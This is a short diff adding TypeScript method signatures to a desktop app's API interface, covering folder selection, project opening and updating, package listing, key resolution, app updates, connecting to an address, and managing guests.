+ chooseFolder(input: { title: string }): Promise<{ path: string; displayPath: string } | null>;
+ openProject(input: DesktopOpenProjectInput): Promise;
+ getPackages(input: { path: string; land?: 'designer' | 'dashboard' | undefined }): Promise;
+ resolveKey(input: { path: string; answer: 'env' | 'fresh' | 'new'; title?: string | undefined }): Promise;
+ updateProject(input: { path: string }): Promise;
+ updateApp(): boolean;
+ connect(input: { address: string; anyway?: boolean | undefined }): Promise;
+ guests(): DesktopGuest[];
+ forgetGuest(address: string): Promise